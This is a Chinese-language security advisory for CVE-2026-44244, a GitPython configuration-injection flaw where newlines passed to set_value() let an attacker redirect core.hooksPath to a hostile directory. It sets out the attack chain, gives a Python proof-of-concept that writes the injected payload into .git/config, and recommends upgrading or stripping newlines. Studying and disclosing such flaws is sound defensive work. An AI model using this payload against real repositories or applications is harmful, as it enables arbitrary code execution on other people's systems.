IPBUF安全漏洞报告
English
CVE-2026-44244 CVSS 7.8 高危

CVE-2026-44244 GitPython配置注入致代码执行漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-44244
漏洞类型
配置注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitPython

相关标签

代码执行配置注入GitPythonCVE-2026-44244

漏洞概述

GitPython是一个用于与Git仓库交互的Python库。在3.1.49版本之前,GitConfigParser.set_value()方法未对换行符进行验证,允许攻击者注入恶意配置。通过构造特殊 payload,攻击者可利用换行和缩进绕过限制,篡改core.hooksPath,导致在执行commit等Git操作时执行任意脚本。

技术细节

该漏洞的核心在于GitPython在处理配置值时未过滤换行符。set_value()接收的值被传递给configparser,而内部的_write()方法会将换行符(\n)转换为缩进换行(\n\t)。由于Git将缩进的[core]视为有效的节头,攻击者可以构造形如“val\n\t[core]\n\thooksPath=/tmp/evil”的输入。这会将.git/config中的hooksPath重定向至攻击者控制的目录。当用户触发commit、merge或checkout时,Git将执行该目录下的恶意脚本,从而实现本地代码执行。

攻击链分析

STEP 1
步骤1:构造恶意Payload
攻击者创建包含换行符和Git配置语法的字符串,例如“val\n\t[core]\n\thooksPath=/tmp/evil”。
STEP 2
步骤2:注入配置
应用程序使用受影响的GitPython版本调用set_value(),将恶意字符串写入.git/config文件。
STEP 3
步骤3:解析恶意配置
Git读取配置文件,将缩进的[core]识别为新的节头,并将hooksPath指向攻击者目录。
STEP 4
步骤4:触发代码执行
用户执行commit、merge或checkout等操作,Git调用hooksPath下的脚本,导致恶意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import git import os # Path to a demo repository repo_path = "/tmp/demo_repo" if os.path.exists(repo_path): import shutil shutil.rmtree(repo_path) os.makedirs(repo_path) repo = git.Repo.init(repo_path) # Malicious payload containing newline and indented [core] section # This tricks Git into accepting a new configuration block attacker_controlled_value = "normal_value\n\t[core]\n\thooksPath=/tmp/evil_hooks" # Exploit the vulnerable set_value method with repo.config_writer() as config: # In versions < 3.1.49, this writes the injection to .git/config config.set_value("user", "name", attacker_controlled_value) print("[+] Payload injected successfully.") print("[+] Check .git/config for the injected [core] section.") # To trigger the exploit, a git operation like commit would be needed: # repo.index.commit("test")

影响范围

GitPython < 3.1.49

防御指南

临时缓解措施
建议用户立即升级到修复版本。若无法立即升级,应在调用GitPython相关API前,对所有用户输入进行清洗,移除其中的换行符(\n)和回车符(\r),防止配置注入。

参考链接